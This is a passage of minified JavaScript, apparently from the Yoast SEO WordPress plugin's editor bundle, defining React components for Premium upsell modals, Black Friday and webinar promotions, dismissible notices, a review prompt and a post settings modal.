components-panel__body-toggle",type:"button"},e.prefixIcon&&(0,c.createElement)("span",{className:"yoast-icon-span",style:{fill:`${e.prefixIcon&&e.prefixIcon.color||""}`}},(0,c.createElement)(Kt.SvgIcon,{size:e.prefixIcon.size,icon:e.prefixIcon.icon})),(0,c.createElement)("span",{className:"yoast-title-container"},(0,c.createElement)("div",{className:"yoast-title"},e.title),(0,c.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.children,e.suffixIcon&&(0,c.createElement)(Kt.SvgIcon,{size:e.suffixIcon.size,icon:e.suffixIcon.icon}),e.SuffixHeroIcon))),zt=jt;jt.propTypes={onClick:y().func.isRequired,title:y().string.isRequired,id:y().string,subTitle:y().string,suffixIcon:y().object,SuffixHeroIcon:y().object,prefixIcon:y().object,children:y().node},jt.defaultProps={id:"",suffixIcon:null,SuffixHeroIcon:null,prefixIcon:null,subTitle:"",children:null};const Ht=window.yoast.helpers,Vt=ht().div`
padding: 25px 32px 32px;
color: #303030;
`,Gt=ht().ul`
margin: 0;
padding: 0;
li {
list-style-image: var(--yoast-svg-icon-check);
margin: 0.5rem 0 0 1.5rem;
line-height: 1.4em;
&::marker {
font-size: 1.5rem;
}
}
`,Zt=ht().span`
display: block;
margin-top: 4px;
`,Qt=ht().h2`
margin-top: 0;
margin-bottom: 0.25rem;
color: #303030;
font-size: 0.8125rem;
font-weight: 600;
`,Xt=ht().p`
display: block;
margin: 0.25rem 0 1rem 0 !important;
max-width: 420px;
`,Jt=ht().hr`
margin-top: 1.5rem;
margin-bottom: 1rem;
border-top: 0;
border-bottom: 1px solid #E2E8F0;
`,es=ht().div`
text-align: center;
`,ts=ht().a`
width: 100%;
`,ss=(0,Ht.makeOutboundLink)(ts);class rs extends u.Component{constructor(e){super(e),this.state={defaultPrice:"99"}}createBenefitsList(e){return e.length>0&&(0,c.createElement)(Gt,{role:"list"},e.map(((e,t)=>(0,c.createElement)("li",{key:`upsell-benefit-${t}`},(0,u.createInterpolateElement)(e,{strong:(0,c.createElement)("strong",null)})))))}render(){const e=(0,i.select)("yoast-seo/editor").isPromotionActive("black-friday-2024-promotion"),{defaultPrice:t}=this.state,s=e?"69.30":null,r=s||t;return(0,c.createElement)(u.Fragment,null,e&&(0,c.createElement)("div",{className:"yst-flex yst-items-center yst-text-lg yst-content-between yst-bg-black yst-text-amber-300 yst-h-9 yst-border-amber-300 yst-border-y yst-border-x-0 yst-border-solid yst-px-6"},(0,c.createElement)("div",{className:"yst-mx-auto"},(0,m.__)("30% OFF - BLACK FRIDAY","wordpress-seo"))),(0,c.createElement)(Vt,null,(0,c.createElement)(Qt,null,this.props.title),(0,c.createElement)(Xt,null,this.props.description),(0,c.createElement)(es,null,(0,c.createElement)(ss,{...this.props.upsellButton},this.props.upsellButtonText,this.props.upsellButtonHasCaret&&(0,c.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,c.createElement)("div",{className:"yst-text-slate-600 yst-my-4"},s&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)("span",{className:"yst-text-slate-500 yst-line-through"},t)," "),(0,c.createElement)("span",{className:"yst-text-slate-900 yst-text-2xl yst-font-bold"},r)," ",(0,m.__)("$ USD / € EUR / £ GBP per year (ex. VAT)","wordpress-seo")),(0,c.createElement)(Zt,{id:this.props.upsellButton["aria-describedby"]},this.props.upsellButtonLabel)),(0,c.createElement)(Jt,null),(0,c.createElement)(Qt,null,this.props.benefitsTitle),this.createBenefitsList(this.props.benefits)))}}rs.propTypes={title:y().node,benefits:y().array,benefitsTitle:y().node,description:y().node,upsellButton:y().object,upsellButtonText:y().string.isRequired,upsellButtonLabel:y().string,upsellButtonHasCaret:y().bool},rs.defaultProps={title:null,description:null,benefits:[],benefitsTitle:null,upsellButton:{href:"",className:"button button-primary"},upsellButtonLabel:"",upsellButtonHasCaret:!0};const ns=rs,as=ht().div`
min-width: 600px;
@media screen and ( max-width: 680px ) {
min-width: 0;
width: 86vw;
}
`,os=ht().div`
@media screen and ( min-width: 600px ) {
max-width: 420px;
}
`,is=(ht()(Kt.Icon)`
float: ${(0,Ht.getDirectionalStyle)("right","left")};
margin: ${(0,Ht.getDirectionalStyle)("0 0 16px 16px","0 16px 16px 0")};
&& {
width: 150px;
height: 150px;
@media screen and ( max-width: 680px ) {
width: 80px;
height: 80px;
}
}
`,"yoast yoast-gutenberg-modal"),ls=e=>{const{title:t,className:s,showYoastIcon:r,additionalClassName:n,...a}=e,o=r?(0,c.createElement)("span",{className:"yoast-icon"}):null;return(0,c.createElement)(p.Modal,{title:t,className:`${s} ${n}`,icon:o,...a},e.children)};ls.propTypes={title:y().string,className:y().string,showYoastIcon:y().bool,children:y().oneOfType([y().node,y().arrayOf(y().node)]),additionalClassName:y().string},ls.defaultProps={title:"Yoast SEO",className:is,showYoastIcon:!0,children:null,additionalClassName:""};const cs=ls,ds=()=>{const[e,,,t,s]=(0,h.useToggleState)(!1),{locationContext:r}=(0,gt.useRootContext)(),n=(0,h.useSvgAria)(),a=r.includes("sidebar"),o=r.includes("metabox"),i=wpseoAdminL10n[a?"shortlinks.upsell.sidebar.internal_linking_suggestions":"shortlinks.upsell.metabox.internal_linking_suggestions"];return(0,c.createElement)(c.Fragment,null,e&&(0,c.createElement)(cs,{title:(0,m.__)("Get internal linking suggestions","wordpress-seo"),onRequestClose:s,additionalClassName:"",id:"yoast-internal-linking-suggestions-upsell",className:`${is} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,c.createElement)(os,null,(0,c.createElement)(ns,{title:(0,m.__)("Rank higher by connecting your content","wordpress-seo"),description:(0,m.sprintf)(/* translators: %s expands to Yoast SEO Premium. */
(0,m.__)("%s automatically suggests to what content you can link with easy drag-and-drop functionality, which is good for your SEO!","wordpress-seo"),"Yoast SEO Premium"),benefitsTitle:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("%s also gives you:","wordpress-seo"),"Yoast SEO Premium"),benefits:ae(),upsellButtonText:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:(0,Ut.addQueryArgs)(i,{context:r}),className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,m.__)("1 year free support and updates included!","wordpress-seo")}))),a&&(0,c.createElement)(zt,{id:"yoast-internal-linking-suggestions-sidebar-modal-open-button",title:(0,m.__)("Internal linking suggestions","wordpress-seo"),onClick:t},(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(qt,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...n})))),o&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Yt,{id:"yoast-internal-linking-suggestions-metabox-modal-open-button",onClick:t},(0,c.createElement)(Yt.Text,null,(0,m.__)("Internal linking suggestions","wordpress-seo")),(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(qt,{className:"yst-w-2.5 yst-h-2.5 yst-me-1 yst-shrink-0",...n}),(0,c.createElement)("span",null,"Premium")))))},ps=window.yoast.externals.components;function us(){return(0,Nt.createHigherOrderComponent)((function(e){return(0,Nt.pure)((function(t){const s=(0,u.useContext)(gt.LocationContext);return(0,u.createElement)(e,{...t,location:s})}))}),"withLocation")}const ms=(0,Nt.compose)([(0,i.withSelect)((e=>{const{isCornerstoneContent:t}=e("yoast-seo/editor");return{isCornerstone:t(),learnMoreUrl:wpseoAdminL10n["shortlinks.cornerstone_content_info"]}})),(0,i.withDispatch)((e=>{const{toggleCornerstoneContent:t}=e("yoast-seo/editor");return{onChange:t}})),us()])(ps.CollapsibleCornerstone),hs=(0,Nt.compose)([(0,i.withSelect)(((e,t)=>{const{isAlertDismissed:s}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:s(t.alertKey)}})),(0,i.withDispatch)(((e,t)=>{const{dismissAlert:s}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>s(t.alertKey)}}))]),gs=({children:e,id:t,hasIcon:s=!0,title:r,image:n=null,isAlertDismissed:a,onDismissed:o})=>a?null:(0,c.createElement)("div",{id:t,className:"notice-yoast yoast is-dismissible yoast-webinar-dashboard yoast-general-page-notices"},(0,c.createElement)("div",{className:"notice-yoast__container"},(0,c.createElement)("div",null,(0,c.createElement)("div",{className:"notice-yoast__header"},s&&(0,c.createElement)("span",{className:"yoast-icon"}),(0,c.createElement)("h2",{className:"notice-yoast__header-heading yoast-notice-migrated-header"},r)),(0,c.createElement)("div",{className:"notice-yoast-content"},(0,c.createElement)("p",null,e))),n&&(0,c.createElement)(n,{height:"60"})),(0,c.createElement)("button",{type:"button",className:"notice-dismiss",onClick:o},(0,c.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,m.__)("Dismiss this notice.","wordpress-seo"))));gs.propTypes={children:y().node.isRequired,id:y().string.isRequired,hasIcon:y().bool,title:y().any.isRequired,image:y().elementType,isAlertDismissed:y().bool.isRequired,onDismissed:y().func.isRequired};const ys=hs(gs),fs=({store:e="yoast-seo/editor",image:t=null,title:s,promoId:r,alertKey:n,children:a,...o})=>(0,i.select)(e).isPromotionActive(r)&&(0,c.createElement)(ys,{alertKey:n,store:e,id:n,title:s,image:t,...o},a);fs.propTypes={store:y().string,image:y().elementType,title:y().any.isRequired,promoId:y().string.isRequired,alertKey:y().string.isRequired,children:y().node};const ws=({store:e="yoast-seo/editor",location:t="sidebar",...s})=>{const r=(0,i.useSelect)((t=>t(e).getIsPremium()),[e]),n=(0,i.useSelect)((t=>t(e).selectLinkParams()),[e]),a="sidebar"===t?(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium */
(0,m.__)("Now with 30%% OFF: %1$s","wordpress-seo"),"Yoast SEO Premium"):(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,m.__)("Now with 30%% OFF: %1$s %2$sBuy now!%3$s","wordpress-seo"),"Yoast SEO Premium","<a>","</a>"),{a:(0,c.createElement)("a",{href:(0,Ut.addQueryArgs)("https://yoa.st/black-friday-sale",n),target:"_blank",rel:"noreferrer"})});return r?null:(0,c.createElement)(fs,{id:`black-friday-2024-promotion-${t}`,promoId:"black-friday-2024-promotion",alertKey:"black-friday-2024-promotion",store:e,title:a,...s},(0,c.createElement)("span",{className:"yoast-bf-sale-badge"},(0,m.__)("BLACK FRIDAY SALE","wordpress-seo")," "),"sidebar"===t&&(0,c.createElement)("a",{className:"yst-block yst--mb-[1em]",href:(0,Ut.addQueryArgs)("https://yoa.st/black-friday-sale",n),target:"_blank",rel:"noreferrer"},(0,m.__)("Buy now!","wordpress-seo")))};ws.propTypes={store:y().string,location:y().oneOf(["sidebar","metabox"])};const bs="trustpilot-review-notification",Es="yoast-seo/editor";const _s=()=>{const e=(0,i.useSelect)((e=>e(Es).getIsPremium()),[]),t=(0,i.useSelect)((e=>e(Es).isAlertDismissed(bs)),[]),{overallScore:s}=(0,i.useSelect)((e=>e(Es).getResultsForFocusKeyword()),[]),{dismissAlert:r}=(0,i.useDispatch)(Es),n=(0,u.useCallback)((()=>r(bs)),[r]),[a,o]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{var e,t;"good"===(null===(t=s,(0,R.isNil)(t)||(t/=10),e=function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,m.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,m.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,m.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,m.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(we.interpreters.scoreToRating(t)))||void 0===e?void 0:e.className)&&o(!0)}),[s]),{shouldShow:!e&&!t&&a,dismiss:n}},vs=(0,Ht.makeOutboundLink)(),ks=()=>{const{shouldShow:e,dismiss:t}=_s(),{locationContext:s}=(0,gt.useRootContext)(),r=(0,i.useSelect)((e=>e(Es).selectLink("https://yoa.st/trustpilot-review",{context:s})),[s]);return(0,c.createElement)(gs,{alertKey:bs,store:Es,id:bs,title:(0,m.__)("Show Yoast SEO some love!","wordpress-seo"),hasIcon:!1,isAlertDismissed:!e,onDismissed:t},(0,m.__)("Happy with the plugin?","wordpress-seo")," ",(0,c.createElement)(vs,{href:r,rel:"noopener noreferrer"},(0,m.__)("Leave a quick review","wordpress-seo")),".")};var xs,Ss,Ts,Rs,Cs,Is,Ps,Ls,As,Os,Fs,Ds,Ms,Ns,qs,Us,$s,Bs,Ws,Ys,Ks,js,zs,Hs,Vs,Gs,Zs,Qs,Xs,Js,er,tr,sr,rr,nr,ar,or,ir,lr,cr,dr,pr,ur,mr,hr,gr,yr;function fr(){return fr=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},fr.apply(this,arguments)}const wr=e=>c.createElement("svg",fr({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 448 360"},e),xs||(xs=c.createElement("circle",{cx:226,cy:211,r:149,fill:"#f0ecf0"})),Ss||(Ss=c.createElement("path",{fill:"#fbd2a6",d:"M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z"})),Ts||(Ts=c.createElement("path",{fill:"#a4286a",d:"M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z"})),Rs||(Rs=c.createElement("path",{fill:"#9a5815",d:"M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z"})),Cs||(Cs=c.createElement("path",{fill:"#efb17c",d:"M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z"})),Is||(Is=c.createElement("path",{fill:"#fbd2a6",d:"M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z"})),Ps||(Ps=c.createElement("path",{fill:"#f6b488",d:"m235.21 167.9 53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z"})),Ls||(Ls=c.createElement("path",{fill:"#fbd2a6",d:"M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z"})),As||(As=c.createElement("path",{fill:"#e5766c",d:"M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z"})),Os||(Os=c.createElement("path",{fill:"#fff",d:"M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z"})),Fs||(Fs=c.createElement("path",{fill:"#000001",d:"M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z"})),Ds||(Ds=c.createElement("circle",{cx:254.13,cy:104.05,r:4.19,fill:"#000001"})),Ms||(Ms=c.createElement("path",{fill:"#fff",d:"M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z"})),Ns||(Ns=c.createElement("path",{fill:"#000001",d:"M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z"})),qs||(qs=c.createElement("circle",{cx:219.55,cy:95.28,r:4,fill:"#000001"})),Us||(Us=c.createElement("path",{fill:"#efb17c",d:"M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z"})),$s||($s=c.createElement("path",{fill:"#a57c52",d:"M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z"})),Bs||(Bs=c.createElement("path",{fill:"#fbd2a6",d:"M53.43 250.73c6.29 0-.6-.17 7.34 0 1.89.05-2.38-.7 0-.69 4.54-4.2 12.48-.74 20.6-2.45 4.55.35 3.93 1.35 5.59 4.19 4.89 8.38 4.78 14.21 14 19.56 16.42 8.38 66 12.92 88.49 18.86 5.52.83 42.64-20.15 61-23.75 6.51 10.74 11.46 28.68 8.39 34.93-6.54 13.3-57.07 25.4-75.91 25.15C156.47 326.18 94 294 92.2 293c-.94-.57.7-.7-7.68 0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2 .22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06h-.12c-3.35-2.48-6.54-7.69-3.08-11.72 1-1.18 6.06-1.94 7.77-2.28-1.58-.29-6.37.19-7.49-.72-3.06-2.5-4.96-11.55 3.14-11.55z"})),Ws||(Ws=c.createElement("path",{fill:"#a4286a",d:"M303.22 237.52c-9.87-11.88-41.59 8.19-47.8 12.34s-14.89 17.95-14.89 17.95c6 9.43 8.36 31 5.65 46.34l30.51-3s18-15.62 22.59-28.7 6.3-42.54 6.3-42.54"})),Ys||(Ys=c.createElement("path",{fill:"#cb9833",d:"M278.63 31.67c-6.08 0-22.91 4.07-22.93 12.91 0 11 47.9 38.38 16.14 85.85 10.21-.79 10.79-8.12 14.92-14.93-3.66 77-49.38 93.58-40.51 142.25 7.68-25.81 20.3-11.62 38.13-33.84 3.45 4.88 9 18.28-9.46 33.78 50-31.26 57.31-56.6 51.92-95C319.93 113.53 348.7 42 278.63 31.67z"})),Ks||(Ks=c.createElement("path",{fill:"#fbd2a6",d:"M283.64 126.83c-2.42 9.67-8 15.76-1.48 16.46A21.26 21.26 0 0 0 302 132.6c5.17-8.52 3.93-16.44-2.46-18s-13.48 2.56-15.9 12.23z"})),js||(js=c.createElement("path",{fill:"#efb17c",d:"M38 73.45c1.92 2 4.25 9.21 6.32 10.91 2.25 1.85 5.71 2.12 8.1 4.45 3.66-2 6-8.72 10-9.31-2.59 1.31-4.42 3.5-6.93 4.88-1.42.8-3 1.31-4.38 2.25-2.16-1.46-4.27-1.77-6.26-3.38-2.52-2.02-5.31-8-6.85-9.8z"})),zs||(zs=c.createElement("path",{fill:"#efb17c",d:"M39 74.4c4.83 1.1 12.52 6.44 15.89 10-3.22-1.34-14.73-6.15-15.89-10zm.62-1.5c6.71-.79 18 1.54 23.29 5.9-3.85-.2-5.42-1.48-9-2.94-4.08-1.69-8.83-2.03-14.29-2.96zm46.43 14.58c-3.72-1.32-10.52-1.13-13.22 3.52 2-1.16 1.84-2.11 4.18-1.72-3.81-4.15 8.16-.74 11.6-.24m-2.78 13.15c.56-3.29-8-7.81-10.58-9.17-6.25-3.29-12.16 1.36-19.33-4.53 5.94 6.1 14.23 2.5 19.55 5.76 3.06 1.88 8.65 6.09 9.35 9.38-.23-.4 1.29-1.44 1.01-1.44z"})),Hs||(Hs=c.createElement("circle",{cx:38.13,cy:30.03,r:3.14,fill:"#b89ac8"})),Vs||(Vs=c.createElement("circle",{cx:60.26,cy:39.96,r:3.14,fill:"#e31e0c"})),Gs||(Gs=c.createElement("circle",{cx:50.29,cy:25.63,r:3.14,fill:"#3baa45"})),Zs||(Zs=c.createElement("circle",{cx:22.19,cy:19.21,r:3.14,fill:"#2ca9e1"})),Qs||(Qs=c.createElement("circle",{cx:22.19,cy:30.03,r:3.14,fill:"#e31e0c"})),Xs||(Xs=c.createElement("circle",{cx:26.86,cy:8.28,r:3.14,fill:"#3baa45"})),Js||(Js=c.createElement("circle",{cx:49.32,cy:39.99,r:3.14,fill:"#e31e0c"})),er||(er=c.createElement("circle",{cx:63.86,cy:59.52,r:3.14,fill:"#f8ad39"})),tr||(tr=c.createElement("circle",{cx:50.88,cy:50.72,r:3.14,fill:"#3baa45"})),sr||(sr=c.createElement("circle",{cx:63.47,cy:76.17,r:3.14,fill:"#e31e0c"})),rr||(rr=c.createElement("circle",{cx:38.34,cy:14.83,r:3.14,fill:"#2ca9e1"})),nr||(nr=c.createElement("circle",{cx:44.44,cy:5.92,r:3.14,fill:"#f8ad39"})),ar||(ar=c.createElement("circle",{cx:57.42,cy:10.24,r:3.14,fill:"#e31e0c"})),or||(or=c.createElement("circle",{cx:66.81,cy:12.4,r:3.14,fill:"#2ca9e1"})),ir||(ir=c.createElement("circle",{cx:77.95,cy:5.14,r:3.14,fill:"#b89ac8"})),lr||(lr=c.createElement("circle",{cx:77.95,cy:30.34,r:3.14,fill:"#e31e0c"})),cr||(cr=c.createElement("circle",{cx:80.97,cy:16.55,r:3.14,fill:"#f8ad39"})),dr||(dr=c.createElement("circle",{cx:62.96,cy:27.27,r:3.14,fill:"#3baa45"})),pr||(pr=c.createElement("circle",{cx:75.36,cy:48.67,r:3.14,fill:"#2ca9e1"})),ur||(ur=c.createElement("circle",{cx:76.11,cy:65.31,r:3.14,fill:"#3baa45"})),mr||(mr=c.createElement("path",{fill:"#71b026",d:"M78.58 178.43C54.36 167.26 32 198.93 5 198.93c19.56 20.49 63.53 1.52 69 15.5 1.48-14.01 4.11-30.9 4.58-36z"})),hr||(hr=c.createElement("path",{fill:"#074a67",d:"M67.75 251.08c0-4.65 10.13-72.65 10.13-72.65h2.8l-9.09 72.3z"})),gr||(gr=c.createElement("ellipse",{cx:255.38,cy:103.18,fill:"#fff",rx:1.84,ry:1.77})),yr||(yr=c.createElement("ellipse",{cx:221.24,cy:94.75,fill:"#fff",rx:1.84,ry:1.77}))),br=({store:e="yoast-seo/editor",image:t=wr,url:s,...r})=>(0,i.useSelect)((t=>t(e).getIsPremium()))?null:(0,c.createElement)(ys,{alertKey:"webinar-promo-notification",store:e,id:"webinar-promo-notification",title:(0,m.__)("Join our FREE webinar for SEO success","wordpress-seo"),image:t,url:s,...r},(0,m.__)("Feeling lost when it comes to optimizing your site for the search engines? Join our FREE webinar to gain the confidence that you need in order to start optimizing like a pro! You'll obtain the knowledge and tools to start effectively implementing SEO.","wordpress-seo")," ",(0,c.createElement)("a",{href:s,target:"_blank",rel:"noreferrer"},(0,m.__)("Sign up today!","wordpress-seo")));br.propTypes={store:y().string,image:y().elementType,url:y().string.isRequired};const Er=br,_r=(e="yoast-seo/editor")=>{const t=(0,i.select)(e).isPromotionActive("black-friday-2024-promotion"),s=(0,i.select)(e).isAlertDismissed("black-friday-2024-promotion");return t?s:((e="yoast-seo/editor")=>{const t=(0,i.select)(e).isPromotionActive("black-friday-2023-checklist"),s=(0,i.select)(e).isAlertDismissed("black-friday-2023-sidebar-checklist");return!t||s})(e)},vr=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{d:"M11 3a1 1 0 10-2 0v1a1 1 0 102 0V3zM15.657 5.757a1 1 0 00-1.414-1.414l-.707.707a1 1 0 001.414 1.414l.707-.707zM18 10a1 1 0 01-1 1h-1a1 1 0 110-2h1a1 1 0 011 1zM5.05 6.464A1 1 0 106.464 5.05l-.707-.707a1 1 0 00-1.414 1.414l.707.707zM5 10a1 1 0 01-1 1H3a1 1 0 110-2h1a1 1 0 011 1zM8 16v-1h4v1a2 2 0 11-4 0zM12 14c.015-.34.208-.646.477-.859a4 4 0 10-4.954 0c.27.213.462.519.476.859h4.002z"}))})),kr=(e=null)=>(0,c.useMemo)((()=>{const t={role:"img","aria-hidden":"true"};return null!==e&&(t.focusable=e?"true":"false"),t}),[e]),xr=({id:e,postTypeName:t,children:s,title:r,isOpen:n,close:a,open:o,shouldCloseOnClickOutside:i,showChangesWarning:l,SuffixHeroIcon:d})=>(0,c.createElement)(u.Fragment,null,n&&(0,c.createElement)(gt.LocationProvider,{value:"modal"},(0,c.createElement)(cs,{title:r,onRequestClose:a,additionalClassName:"yoast-collapsible-modal yoast-post-settings-modal",id:"id",shouldCloseOnClickOutside:i},(0,c.createElement)("div",{className:"yoast-content-container"},(0,c.createElement)("div",{className:"yoast-modal-content"},s)),(0,c.createElement)("div",{className:"yoast-notice-container"},(0,c.createElement)("hr",null),(0,c.createElement)("div",{className:"yoast-button-container"},l&&(0,c.createElement)("p",null,/* Translators: %s translates to the Post Label in singular form */
(0,m.sprintf)((0,m.__)("Make sure to save your %s for changes to take effect","wordpress-seo"),t)),(0,c.createElement)("button",{className:"yoast-button yoast-button--primary yoast-button--post-settings-modal",type:"button",onClick:a},/* Translators: %s translates to the Post Label in singular form */
(0,m.sprintf)((0,m.__)("Return to your %s","wordpress-seo"),t)))))),(0,c.createElement)(zt,{id:e+"-open-button",title:r,SuffixHeroIcon:d,suffixIcon:d?null:{size:"20px",icon:"pencil-square"},onClick:o}));xr.propTypes={id:y().string.isRequired,postTypeName:y().string.isRequired,children:y().oneOfType([y().node,y().arrayOf(y().node)]).isRequired,title:y().string.isRequired,isOpen:y().bool.isRequired,open:y().func.isRequired,close:y().func.isRequired,shouldCloseOnClickOutside:y().bool,showChangesWarning:y().bool,SuffixHeroIcon:y().object},xr.defaultProps={shouldCloseOnClickOutside:!0,showChangesWarning:!0};const Sr=xr,Tr=(0,Nt.compose)([(0,i.withSelect)(((e,t)=>{const{getPostOrPageString:s,getIsModalOpen:r}=e("yoast-seo/editor");return{postTypeName:s(),isOpen:r(t.id)}})),(0,i.withDispatch)(((e,t)=>{const{openEditorModal:s,closeEditorModal:r}=e("yoast-seo/editor");return{open:()=>s(t.id),close:r}}))])(Sr),Rr=()=>{const 